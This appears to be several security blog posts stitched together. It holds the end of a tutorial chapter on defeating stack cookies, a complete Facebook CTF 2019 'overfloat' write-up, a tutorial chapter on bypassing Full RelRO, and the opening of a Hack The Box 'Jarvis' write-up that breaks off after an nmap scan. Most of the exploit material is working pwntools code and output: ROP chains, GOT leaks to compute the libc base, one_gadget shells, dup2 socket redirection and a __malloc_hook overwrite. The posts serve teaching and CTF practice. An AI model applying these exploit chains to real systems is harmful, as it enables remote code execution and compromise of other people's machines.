[+] Opening connection to localhost on port 1234: Done
[*] Got enough data..
[*] Stack cookie is 0xfead3e7449a42700
Attach now!

We got an offset of 8 which does make sense because there is only the saved base pointer in between. 0x00007ffe38898ef8ā”‚+0x0000: 0x4343434343434343 ā† $rsp

Our next steps:

  • Leak GOT addresses to identify libc version
  • Compute libc base address
  • Get one shot gadget to get a shell
  • Redirect stdout/stdin to sockets
  • Shell :-)

To leak libc function addresses of the GOT we do the same thing as in Chapter 4. This time with write instead of puts. The third parameter is already set to 0x408 (the length of strlen()) and therefore we are lucky because we donā€™t have a suitable gadget to set rdx.

The file descriptor of the used socket can be obtained via shell commands:

gefāž¤  info proc                                       
process 49928                                         
cmdline = './cookies'                                        
cwd = '/BinaryExploitationSeries/Chapter 6'
exe = '/BinaryExploitationSeries/Chapter 6/cookies'

gefāž¤  !ls -l /proc/49928/fd
total 0
lrwx------ 1 work work 64 Dez  4 14:11 0 -> /dev/pts/3
lrwx------ 1 work work 64 Dez  4 14:11 1 -> /dev/pts/3
lrwx------ 1 work work 64 Dez  4 14:11 2 -> /dev/pts/3
lrwx------ 1 work work 64 Dez  4 14:11 4 -> 'socket:[370150]' # <---- fd = 4

Now we have to put everything together.

def leak_function_address(host, port, canary, challenge_elf, function_name, count):
   payload = ''.join( ["A"*count + "\x00"*(1032-count), # set rdx to leak only 'count' bytes (strlen(input) == count) ;-)
                        p64(canary),
                        "B"*8, # saved base pointer
                        p64(0x0000000000400b83), # pop rdi ; ret
                        p64(4), # fd = 4 = socket
                        p64(0x0000000000400b81), # pop rsi ; pop r15 ; ret
                        p64(challenge_elf.got[function_name]), # address of recv in GOT
                        "A"*8, # dummy
                        p64(challenge_elf.symbols["write"]),
                        ])
      .... # send, receive and parse like last time ;-)

Now we can leak a few functions and identify the libc version via libc.blukat.me.

recv_leaked = leak_function_address("localhost", 1234, canary, challenge_elf, "recv", 8) # __recv
fork_leaked = leak_function_address("localhost", 1234, canary, challenge_elf, "fork", 8) # fork
.....

[+] Opening connection to localhost on port 1234: Done
[*] recv @ 0x7fb6b9ecfa00
[+] Opening connection to localhost on port 1234: Done
[*] fork @ 0x7fb6b9e91a50

# -> libc6_2.27-3ubuntu1_amd64
# Compute libc base as in chapter 4

Now, we know the used libc version on the server. Letā€™s get a one gadget and try to exploit it!

one_gadget <identified libc>
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c        execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Add another raw_input() to pause the execution and put another payload into the script.

payload = ''.join( ["\x00"*(1032),
                        p64(canary),
                        "B"*8, # saved base pointer
                        p64(libc_base + 0x4f322), # execve
                        "\x00"*150 # to meet our constraint -> rsp + 0x40 == NULL
                        ])

Then attach the debugger before execve is triggered ā€¦ Perfect! We executed a shell.

gefāž¤  c
Continuing.
process 50645 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x400986

gefāž¤  detach
Detaching from program: /bin/dash, process 50645

Last problem for today is that we cannot interact with the shell because it will use stdout/stdin and not our socket file descriptor. Therefore, we have to redirect stdout (1) and stdin (0) file descriptors to the socket file descriptor (4). Luckily, there is a function called dup2 which does that for us. :-)
Letā€™s extend our small rop chain to call dup2 for stdin and stdout.

payload = ''.join( ["\x00"*(1032),
    p64(canary),
    "B"*8, # saved base pointer
    p64(0x0000000000400b83), # pop rdi ; ret
    p64(4), # old fd
    p64(0x0000000000400b81), # pop rsi ; pop r15 ; ret
    p64(0), # new fd
    "A"*8, # dummy
    p64(libc_base + libc_elf.symbols["dup2"]),
    p64(0x0000000000400b83), # pop rdi ; ret
    p64(4), # old fd
    p64(0x0000000000400b81), # pop rsi ; pop r15 ; ret
    p64(1), # new fd
    "A"*8, # dummy
    p64(libc_base + libc_elf.symbols["dup2"]),
    p64(libc_base + 0x4f322),
    "\x00"*150
    ])

Final exploit (This time without the complete source. Follow along to get a working exploit!):

python exploit.py
[*] Got enough data..
[*] Stack cookie is 0xfead3e7449a42700
[*] Leaking libc function addresses via GOT ...
[*] Leaked: recv @ 0x7fb6b9ecfa00
[*] Leaked: fork @ 0x7fb6b9e91a50
[*] Computing libc base address in memory...
[*] Libc base @ 0x7fb6b9dad000
[*] Spawning shell...
[*] Switching to interactive mode
$ ls
cookies
cookies.c
exploit.py

Great! We popped a shell and we can now defeat stack cookies!
Next time, we will activate more protections and we will try to bypass all of them!

Happy Hacking!

Facebook CTF 2019: overfloat

3 June 2019 at 00:00

overfloat was an entry challenge of the pwnable category of the Facebook CTF 2019. A binary and a libc were provided (Original tar). You can find the full exploit at the end of this post.

The application itself is straightforward. You have a command-line input where you can specify a longitude and latitude.

./overfloat
                                 _ .--.
                                ( `    )
                             .-'      `--,
                  _..----.. (             )`-.
                .'_|` _|` _|(  .__,           )
               /_|  _|  _|  _(        (_,  .-'
              ;|  _|  _|  _|  '-'__,--'`--'
              | _|  _|  _|  _| |
          _   ||  _|  _|  _|  _|
        _( `--.\_|  _|  _|  _|/
     .-'       )--,|  _|  _|.`
    (__, (_      ) )_|  _| /
      `-.__.\ _,--'\|__|__/
                    ;____;
                     \YT/
                      ||
                     |""|
                     '=='

WHERE WOULD YOU LIKE TO GO?
LAT[0]: 1
LON[0]: 1
LAT[1]: done
BON VOYAGE!

You can even set multiple values ā€¦. and write out-of-bounds.

...
WHERE WOULD YOU LIKE TO GO?
LAT[0]: 1
LON[0]: 1
LAT[1]: 1
LON[1]: 1
LAT[2]: 1
LON[2]: 1
LAT[3]: 1
LON[3]: 1
LAT[4]: 1
LON[4]: 1
LAT[5]: 1
LON[5]: 1
LAT[6]: 1
LON[6]: 1
LAT[7]: 1
LON[7]: 1
LAT[8]: 1
LON[8]: 1
LAT[9]: 1
LON[9]: 1
LAT[0]: 1
LON[0]: 1
LAT[1]: 1
LON[1]: 1
LAT[2]: 1
LON[2]: 1
LAT[3]: 1
LON[3]: 1
LAT[4]: 1
LON[4]: 11
LAT[5]: done
BON VOYAGE!
[1]    5978 segmentation fault  ./overfloat

Run it again with gdb. Segfault!

Id 1, Name: "overfloat", stopped, reason: SIGSEGV
0x00007fffffffdff8ā”‚+0x0000: 0x3f8000003f800000   ā† $rsp
0x00007fffffffe000ā”‚+0x0008: 0x3f8000003f800000
0x00007fffffffe008ā”‚+0x0010: 0x3f8000003f800000
0x00007fffffffe010ā”‚+0x0018: 0x3f8000003f800000
0x00007fffffffe018ā”‚+0x0020: 0x3f8000003f800000
0x00007fffffffe020ā”‚+0x0028: 0x3f8000003f800000

Since the challenge is named overfloat we can guess that it has something to do with floats. If we look carefully we can see that 0x3f800000 represents the float 1.0.

In [27]: import binascii

In [28]: binascii.hexlify(struct.pack('f', 1.0))
Out[28]: '0000803f'

That means, we can write arbitrary floating point numbers on the stack. Letā€™s try it!

Convert a 4 byte array to a floating point ā€¦

def byte_to_float(data):
    if len(data) != 4:
        log.error("Length of data should be 4")
        sys.exit(0)
    return str(struct.unpack('f', bytes(data))[0])

ā€¦ and overflow the array

for i in range(100):
    tosend = byte_to_float("A"*4)
    r.sendline(tosend)

# trigger return to main
# BOF at end of main -> ret
r.sendline("done")

r.interactive()

Segfault and we see a lot of Aā€™s (0x41) :)

gefāž¤  x/20wx $rsp
0x7ffe9dcc6c78: 0x41414141      0x41414141      0x41414141      0x41414141
0x7ffe9dcc6c88: 0x41414141      0x41414141      0x41414141      0x41414141
0x7ffe9dcc6c98: 0x41414141      0x41414141      0x41414141      0x41414141
0x7ffe9dcc6ca8: 0x41414141      0x41414141      0x41414141      0x41414141
0x7ffe9dcc6cb8: 0x41414141      0x41414141      0x41414141      0x41414141

Now, we have to find the offset to overwrite the saved return address. Because we are lazy we change our loop and just look for the right value.

for i in range(100):
    tosend = byte_to_float(chr(i)*4)
    r.sendline(tosend)

r.sendline("done")
r.interactive()
gdb after segfault:
0x00007ffe151cbf08ā”‚+0x0000: 0x0f0f0f0f0e0e0e0e   ā† $rsp

Offset is 0xe. The next step is to define a function for an 8-byte write (64-bit challenge).

def write_8_bytes(data):
    tosend = byte_to_float(data[:4])
    r.sendline(tosend)
    tosend = byte_to_float(data[4:])
    r.sendline(tosend)

Furthermore, we can leak the address of puts via the GOT and jump back to the beginning of the application to exploit the vulnerability a second time but we have more information about the environment (leak of libc base). Therefore, we need a gadget to call puts with the correct pointer. We use ropper to look for a suitable gadget.

# ropper --console -f ./overfloat
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(overfloat/ELF/x86_64)> search pop rdi
[INFO] Searching for gadgets: pop rdi

[INFO] File: ./overfloat
0x0000000000400a83: pop rdi; ret;
# Begin of ROP chain
# gadget from ropper
pop_rdi = 0x0000000000400a83 #: pop rdi; ret;

# ret to gadget
write_8_bytes(p64(pop_rdi))
# read GOT, first argument of puts
write_8_bytes(p64(chal.got["puts"]))
# call puts
write_8_bytes(p64(chal.symbols["puts"]))

# jump to beginning
# next return after puts
start = 0x400993
write_8_bytes(p64(start))

# End of ROP chain

# trigger vulnerability
r.sendline("done")
r.recvuntil("VOYAGE!")
r.recvline() # empty line
# receive leak via puts
res = r.recvline()[:-1]
print("puts @  " + hex(u64(res.ljust(8, "\x00"))))
puts_address = u64(res.ljust(8, "\x00"))

libc_base = puts_address - libc.symbols["puts"]
print("libc @  " + hex(libc_base))

# interact with the application again
# from the beginning ;)
# remove it for the next part
r.interactive()
[+] Waiting for debugger: Done
puts @  0x7f3064d58910
libc @  0x7f3064ce7000
...

After that, we can easily call a one-shot gadget

//local libc
# one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4484f execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x448a3 execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xe5456 execve("/bin/sh", rsp+0x60, environ)
constraints:
  [rsp+0x60] == NULL

// remote libc
# one_gadget libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

and get a shell.

if debug:
    one_gagdet = libc_base + 0x4484f
else:
    one_gagdet = libc_base + 0x4f2c5

# exploit a second time
r.recvuntil("LIKE TO GO?")
r.recvline()

for i in range(0xe):
    tosend = byte_to_float(chr(i)*4)
    r.sendline(tosend)

# one gadget
write_8_bytes(p64(one_gagdet))

# trigger vulnerability and spawn shell via one gadget
r.sendline("done")

r.interactive()
[+] Waiting for debugger: Done
puts @  0x7fd6ced34910
libc @  0x7fd6cecc3000
[*] Switching to interactive mode
LAT[0]: LON[0]: LAT[1]: LON[1]: LAT[2]: LON[2]: LAT[3]: LON[3]: LAT[4]: LON[4]: LAT[5]: LON[5]: LAT[6]: LON[6]: LAT[7]: LON[7]: LAT[8]: BON VOYAGE!
$ id
uid=0(root) gid=0(root) groups=0(root)

Disable debug mode and get the flag. :)

[+] Opening connection to challenges.fbctf.com on port 1341: Done
puts @  0x7f4d087519c0
libc @  0x7f4d086d1000
[*] Switching to interactive mode
LAT[0]: LON[0]: LAT[1]: LON[1]: LAT[2]: LON[2]: LAT[3]: LON[3]: LAT[4]: LON[4]: LAT[5]: LON[5]: LAT[6]: LON[6]: LAT[7]: LON[7]: LAT[8]: BON VOYAGE!
$ cat /home/overfloat/flag
fb{FloatsArePrettyEasy...}

Full (quick and dirty) exploit:

from pwn import *
import struct
import sys
import binascii

chal = ELF("./overfloat")

debug = False
if debug:
    r = process("./overfloat")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    gdb.attach(r, '''
    ''') #b*0x0000000000400a83
else:
    libc = ELF("./libc-2.27.so")
    r = remote("challenges.fbctf.com", 1341)

def byte_to_float(data):
    if len(data) != 4:
        log.error("Length of data should be 4")
        sys.exit(0)
    return str(struct.unpack('f', bytes(data))[0])

r.recvuntil("LIKE TO GO?")
r.recvline()
for i in range(0xe):
    tosend = byte_to_float(chr(i)*4)
    r.sendline(tosend)

def write_8_bytes(data):
    tosend = byte_to_float(data[:4])
    r.sendline(tosend)
    tosend = byte_to_float(data[4:])
    r.sendline(tosend)

pop_rdi = 0x0000000000400a83 #: pop rdi; ret;

# ret
write_8_bytes(p64(pop_rdi))
# GOT
write_8_bytes(p64(chal.got["puts"]))
# call puts
write_8_bytes(p64(chal.symbols["puts"]))

# jump to beginning
start = 0x400993
write_8_bytes(p64(start))

r.sendline("done")
r.recvuntil("VOYAGE!")
r.recvline() # empty line
res = r.recvline()[:-1]
print("puts @  " + hex(u64(res.ljust(8, "\x00"))))
puts_address = u64(res.ljust(8, "\x00"))

libc_base = puts_address - libc.symbols["puts"]
print("libc @  " + hex(libc_base))

if debug:
    one_gagdet = libc_base + 0x4484f
else:
    one_gagdet = libc_base + 0x4f2c5

# exploit a second time
r.recvuntil("LIKE TO GO?")
r.recvline()
for i in range(0xe):
    tosend = byte_to_float(chr(i)*4)
    r.sendline(tosend)

# one gadget
write_8_bytes(p64(one_gagdet))
r.sendline("done")

r.interactive()



This was a good beginner challenge and the first time I used floating points to write my payload.

Happy Hacking!

Binary Exploitation Series (7): Full RelRO Bypass

12 June 2019 at 00:00

Hello everyone! Today we are going to bypass Full RelRO by using a relative write out-of-bounds vulnerability. Like last time, we have access to the binary (no libc provided) and we have to leak some information to identify the correct libc version. You can download the challenge along with the source code.

gefāž¤  checksec
[+] checksec for './notes'
Canary                        : Yes
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Full

ASLR is activated ;-)

Relocation Read-Only (RelRO)

If we have the possibility to abuse a vulnerability to write to arbitrary locations in memory (e.g. format string attacks, control over pointers, out-of-bounds write ā€¦) instead of a basic buffer overflow vulnerability like last times, we need to figure out how to get control over the execution flow (RIP/EIP). One way to achieve this is to overwrite the Global Offset Table (GOT) which is a look-up table for dynamically linked ELF binaries to resolve functions that are located in shared libraries. For example, our target uses the function puts. We could overwrite the entry for puts in the GOT with 0x4141414141414141 and the next time the function is called it would jump to our specified address. To prevent such attacks RelRO was introduced. If fully activated, the linker resolves all the functions the binary uses at the beginning of execution and sets the GOT as read-only. More details at www.redhat.com

In the following, we have a comparison of the notes challenge where we can see that the functions are successfully resolved during startup. Each compiled challenge is started in gdb with the command start

Partial RelRO active (not read only, no resolves at startup):

gefāž¤  disassemble main
 ...
 0x0000000000400d63 <+160>:   call   0x400720 <[email protected]>
 0x0000000000400d68 <+165>:   jmp    0x400d0b <main+72>
End of assembler dump.

gefāž¤  disassemble 0x400720
Dump of assembler code for function [email protected]:
 0x0000000000400720 <+0>:     jmp    QWORD PTR [rip+0x20191a] # 0x602040
 0x0000000000400726 <+6>:     push   0x5
 0x000000000040072b <+11>:    jmp    0x4006c0
End of assembler dump.

gefāž¤  x/20gx 0x602040
// calls for dynamic resolver
// e.g. [email protected]
0x602040:       0x0000000000400726      0x0000000000400736
0x602050:       0x0000000000400746      0x0000000000400756

After the first resolve, the pointer at 0x602040 would be replaced with the real address of memset located in libc.

Full RelRO active:

gefāž¤  disassemble main
 ...
 0x0000000000400d63 <+160>:   call   0x400720 <[email protected]>
 0x0000000000400d68 <+165>:   jmp    0x400d0b <main+72>
End of assembler dump.

gefāž¤  disassemble 0x400720
Dump of assembler code for function [email protected]:
   0x0000000000400720 <+0>:     jmp    QWORD PTR [rip+0x2018a2] # 0x601fc8
   0x0000000000400726 <+6>:     push   0x5
   0x000000000040072b <+11>:    jmp    0x4006c0
End of assembler dump.

gefāž¤  x/20gx 0x601fc8
//libc functions already resolved
0x601fc8:       0x00007ffff7b72f50      0x00007ffff7a8de70
0x601fd8:       0x00007ffff7b72ad0      0x00007ffff7a7b070

Libc (vmmap)
0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so

Target

The target is a little bit longer than before but not complex. We have a ā€œcustomer lineā€ and each customer has the opportunity to save, edit and show a note. A customer has 3 options to edit a note:

  1. Replace substring
  2. Replace character at position
  3. Overwrite whole note

Read the source code, play with the binary and understand the behavior of the challenge.

Analysis & Exploitation

In one of the edit functions is a vulnerability which will lead to an out-of-bounds write. Try to find the vulnerability by yourself.





























Hint: In the second option!























Okay, did you find it?
Letā€™s analyze the function:

void string_replace_char()
{
    int pos;
    char character;
    char input[5];

    while(1)
    {
        printf("Usage: <position>,<new character>\n> ");
        scanf(" %d,%c", &pos, &character);

        if(pos >= MAX_BUF-1)
        {
            puts("Result is out of range.");
            return;
        }

        note[pos] = character;
        printf("Your current note is %s\n", note);

        puts("Done? (YES) ");
        scanf(" %4s", input);
        if(strcmp(input, "YES") == 0 || strcmp(input, "yes") == 0)
        {
            puts("Saved!\n");
            return;
        }
    }
}

First, some variables are defined which are later used to replace one character at the time. After that, we can use a command-line style replace function to replace characters in our note. The first thing to notice is, that we could overwrite a null byte if our string is smaller than the max length. But since the note is always cleared with memset for each customer we cannot abuse this to leak data of a previous customer. If we look carefully we can see that the position is verified with if(pos >= MAX_BUF-1). But as we remember, the position variable is defined as a (signed) integer and therefore, we can also use negative values! A possible fix would be a change of the type to unsigned int.

Letā€™s confirm the relative out-of-bounds write. Steps to reproduce:

  • Start the challenge: gdb notes -> run
  • Enter customer name: ā€œAAAAā€
  • Enter new note
    • Option ā€œ2ā€
    • ā€œBBBBā€
  • Edit note with character replace
    • ā€œ3ā€
    • ā€œ2ā€
    • ā€œ-1,Cā€
    • ā€œ-2,Cā€
  • CTRL-C

Use the command vmmap to display the virtual memory map.

gefāž¤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000402000 0x0000000000000000 r-x /.../notes
0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /.../notes
0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /.../notes
0x0000000000603000 0x0000000000624000 0x0000000000000000 rw- [heap]

Examine the memory:

gefāž¤  x/20gx 0x0000000000602000
0x602000:       0x0000000000000000      0x0000000000000000
0x602010:       0x0000000000000000      0x0000000000000000
0x602020 <[email protected]@GLIBC_2.2.5>: 0x00007ffff7dd0760      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040 <[email protected]@GLIBC_2.2.5>: 0x00007ffff7dd0680      0x0000000000000000
0x602050:       0x0000000000000000      0x0000000000000000
0x602060 <customer_name>:       0x0000000000603260      0x0000000000000000
0x602070:       0x0000000000000000      0x4343000000000000
0x602080 <note>:        0x0000000042424242      0x0000000000000000
0x602090 <note+16>:     0x0000000000000000      0x0000000000000000

If we take a look at the line with address 0x602070 we see our Cā€™s (0x43) which are definitely out of bounds because the note starts at 0x602080. We confirmed an out-of-bounds write with negative values. That means, that we can overwrite everything before the note array. In this case, the customer_name is interesting because it is a pointer to a string in the heap (allocated via malloc in main()). It is also possible to write to its destination (via ā€œWho is next?ā€ in main()) and we can read the value (printf in serve() and main()). Very powerful!

During exploit development, you should start writing your exploit as soon as possible. Multiple tasks can be easily automated and will save you a lot of time. So, letā€™s start writing our exploit!

Steps:

  • Load and start the binary via process of pwntools
  • Define functions for different parts of the application
    • recv_help
    • save_note
    • ā€¦
  • Get control over customer_name
  • Leak libc pointer via GOT (read is still possible)
  • Identify libc version
  • Compute libc base address
  • Set a malloc hook (more later) in libc to point to 0x4141414141414141
  • Find one-shot gadgets and set the malloc hook to point to the gadget
  • Profit!

The first two parts are easy and only the code will be shown here. Try it by yourself. :)








from pwn import process, remote, gdb, context, p64, u64, ELF, log
from binascii import hexlify

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
chal = ELF("./notes")
r = process("./notes")

gdb.attach(r.pid,"""
""")

def recv_help():
    r.recvuntil("want to do, ")
    r.recvuntil("?\n")

def save_note(note):
    r.sendline("2")
    r.recvuntil("?")
    r.sendline(note)

# Who is next?
r.recvuntil("next?")
r.sendline("AAAA") # dummy

recv_help()
save_note("BBBB") # dummy
recv_help()

r.interactive() # keeps everything open

We created a customer and successfully saved a note. Next, we have to find the offset to the customer_name. This can be done with gdb. Run the script, go to the gdb window, type continue and let it run. After it has paused (reads from stdin), we press CTRL-C to be able to type gdb commands. We show the memory map and print the section where the not initialized variables are stored.

gefāž¤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000402000 0x0000000000000000 r-x /.../notes
0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /.../notes
0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /.../notes
0x0000000000795000 0x00000000007b6000 0x0000000000000000 rw- [heap]

gefāž¤  x/20gx 0x0000000000602000
0x602000:    0x0000000000000000    0x0000000000000000
0x602010:    0x0000000000000000    0x0000000000000000
0x602020 <[email protected]@GLIBC_2.2.5>:    0x00007f95b4b01760    0x0000000000000000
0x602030:    0x0000000000000000    0x0000000000000000
0x602040 <[email protected]@GLIBC_2.2.5>:    0x00007f95b4b01680    0x0000000000000000
0x602050:    0x0000000000000000    0x0000000000000000
0x602060 <customer_name>:    0x0000000000795260    0x0000000000000000
0x602070:    0x0000000000000000    0x0000000000000000
0x602080 <note>:    0x0000000042424242    0x0000000000000000
0x602090 <note+16>:    0x0000000000000000    0x0000000000000000

Okay, note is at 0x602080 and our customer_name pointer is at 0x602060. This is a difference of 0x20 (32). Therefore, we can overwrite the pointer at offset -32 via the character replace mechanism.

To make everything reusable and easy to use we define another function. This function implements the behavior of the edit function with character replace. It supports also strings because the string is enumerated while the offset is increased. Therefore, we can write arbitrary byte sequences relative to our note array. (As long as the index is smaller than MAX_BUF-1)

def write(offset, data):
    log.debug("Write(hex): %s @ %d"  % (hexlify(data), offset))
    r.sendline("3")
    r.recvuntil("note\n")
    r.sendline("2")

    for idx, byte in enumerate(data):
        r.recvuntil("\n>")
        r.sendline(str(offset+idx) + "," + byte)
        r.recvuntil("Done? (YES) ")
        r.sendline("NO")

    #send dummy and save
    r.recvuntil("\n>")
    r.sendline("0,A")
    r.sendline("YES")
    r.recvuntil("Saved!\n")

Now, we can use the function as follows:

write(-32, p64(0x4141414141414141))
Id 1, Name: "notes", stopped, reason: SIGSEGV
...
gefāž¤  x/20gx 0x0000000000602000
0x602000:    0x0000000000000000    0x0000000000000000
0x602010:    0x0000000000000000    0x0000000000000000
0x602020 <[email protected]@GLIBC_2.2.5>:    0x00007fad4ad4d760    0x0000000000000000
0x602030:    0x0000000000000000    0x0000000000000000
0x602040 <[email protected]@GLIBC_2.2.5>:    0x00007fad4ad4d680    0x0000000000000000
0x602050:    0x0000000000000000    0x0000000000000000
0x602060 <customer_name>:    0x4141414141414141    0x0000000000000000
0x602070:    0x0000000000000000    0x0000000000000000
0x602080 <note>:    0x0000000042424241    0x0000000000000000
0x602090 <note+16>:    0x0000000000000000    0x0000000000000000

We successfully overwrote the customer_name and the application crashed because the address 0x4141414141414141 is not mapped and cannot be resolved by the following printf in serve().

Next, we have to leak libc function addresses. Letā€™s get the GOT offsets:

$ objdump -R notes

notes:     file format elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE
0000000000601ff0 R_X86_64_GLOB_DAT   [email protected]_2.2.5
0000000000601ff8 R_X86_64_GLOB_DAT   __gmon_start__
0000000000602020 R_X86_64_COPY       [email protected]@GLIBC_2.2.5
0000000000602040 R_X86_64_COPY       [email protected]@GLIBC_2.2.5
0000000000601fa0 R_X86_64_JUMP_SLOT  [email protected]_2.2.5
0000000000601fa8 R_X86_64_JUMP_SLOT  [email protected]_2.2.5
0000000000601fb0 R_X86_64_JUMP_SLOT  [email protected]_2.4
0000000000601fb8 R_X86_64_JUMP_SLOT  [email protected]_2.2.5
0000000000601fc0 R_X86_64_JUMP_SLOT  printf@GLIBC_2.2.5
0000000000601fc8 R_X86_64_JUMP_SLOT  [email protected]_2.2.5
0000000000601fd0 R_X86_64_JUMP_SLOT  [email protected]_2.2.5
0000000000601fd8 R_X86_64_JUMP_SLOT  [email protected]_2.14
0000000000601fe0 R_X86_64_JUMP_SLOT  [email protected]_2.2.5
0000000000601fe8 R_X86_64_JUMP_SLOT  [email protected]_2.7

or use pwntools again:

chal = ELF("./notes")
chal.got["puts"]

We just have to take an offset to a function in the GOT, overwrite the customer_name and exit the edit function to print the customer_name in serve(). For that, we have to edit our recv_help function to return the leak

# return leak
def recv_help():
    r.recvuntil("want to do, ")
    leak = r.recvuntil("?\n")[:-2]
    return leak

and leak the pointer

write(-32, p64(chal.got["puts"])) # GOT offset of puts
leak = recv_help()
# Pad leak with null bytes to use u64
# e.g. \x41\x41\x41 would be \x41\x41\x41\x00\x00\x00\x00\x00
leak = u64(leak.ljust(8, "\x00"))
log.info("puts @ " + hex(leak))

r.interactive()

Verify it with gdb:

gefāž¤  p puts
$1 = {int (const char *)} 0x7f70208839c0 <_IO_puts>

Script output:
...
[*] puts @ 0x7f70208839c0
...

We can leak more pointers and identify the libc version with blukat.me like in Chapter 4. Furthermore, we can compute the libc base which can be verified in gdb (vmmap).

libc_base = leak - libc.symbols["puts"]
log.info("libc base @ " + hex(libc_base))


ā€œThe GNU C Library lets you modify the behavior of malloc, realloc, and free by specifying appropriate hook functions.ā€ [Hooks-for-Malloc] To get RIP control we can modify these hooks of libc. First, compute the hooks address in memory based on the libc leaks.

malloc_hook_address = libc_base + libc.symbols["__malloc_hook"]
log.info("__malloc_hook @ %s" % hex(malloc_hook_address))

Set the customer_name pointer and use it to overwrite the ā€œcustomer nameā€ via scanf (in main()) which points to the hook.

# point customer_name to __malloc_hook
write(-32, p64(malloc_hook_address))

# exit and trigger next customer
r.sendline("5") # exit

# Who is next?
r.recvuntil("next?")
r.sendline(p64(0x4141414141414141))

save_note("DUMMY")
r.sendline("3")
r.recvuntil("note\n")
r.sendline("2")
r.sendline("0"*0x10000 + ",A") # trigger __malloc_hook

Segfault! We successfully overwrote the hook and got control over execution flow.

0x7f8d1958f27b <malloc+523>     jmp    rax

-> $rax   : 0x4141414141414141

The final step is to find suitable one-shot gadgets and trigger an execve to get a shell.

one_gadget <identified libc>

0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c        execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Of course, you have to try all if some are not working because some constraints are not met.

one_gadget = libc_base + 0x4f322

# Who is next?
r.recvuntil("next?")
r.sendline(p64(one_gadget))

....

r.sendline("0"*0x10000 + ",A") # trigger __malloc_hook
r.sendline("ls;")
r.interactive()

Using the second gadget we notice that on each run the response is different. This is because the values on the stack are different on each run and we have to try it more than once. After some tries, we get a response from the target and we executed our commands.

....
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000,A: File name too long
    notes.c  notes           

Now letā€™s try it remotely. Spawn the challenge with socat (apt install socat) at port 1337

socat tcp-l:1337,reuseaddr,fork system:"timeout 60 ./notes"

and test the connection:

$ nc localhost 1337
Who is next?
AAAA
#############
1 - HELP
2 - Save note
3 - Edit note
4 - Show note
5 - Exit
#############

Modify the exploit and run it against the remote target. Note that if you have a different libc version on your system you would have to adjust the libc path to the remote one. Furthermore, you would have to change the one-shot gadget.

#r = process("./notes")
r = remote("localhost", 1337)

#gdb.attach(r.pid,"""
#""")
...
$ python exploit.py
[*] '/lib/x86_64-linux-gnu/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to localhost on port 1337: Done
[*] puts @ 0x7f91453009c0
[*] libc base @ 0x7f9145280000
[*] __malloc_hook @ 0x7f914566bc30
[*] Switching to interactive mode

Usage: <position>,<new character>
> notes
notes.c
$ id
uid=1000(work) gid=1000(work)
$  

Yay! We got a shell and successfully bypassed RelRO! Interesting how such a small bug (signed integer and no negative value checks) can lead to full control over a remote system.
Happy Hacking!

Hack The Box - Jarvis

9 November 2019 at 03:00

Hack The Box - Jarvis

Quick Summary

Hey guys, today Jarvis retired and hereā€™s my write-up about it. It was a nice easy box with a web application vulnerable to SQL injection, a python script vulnerable to command injection and a setuid binary that could be abused to get a root shell. Itā€™s a medium box and its ip is 10.10.10.143, I added it to /etc/hosts as jarvis.htb. Letā€™s jump right in!

Nmap

As always we will start with nmap to scan for open ports and services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[email protected]:~/Desktop/HTB/boxes/jarvis# nmap -sV -sT -sC -o nmapinitial jarvis.htb
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-08 17:33 EET
Nmap scan report for jarvis.htb (10.10.10.143)
Host is up (0.24s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.86 seconds
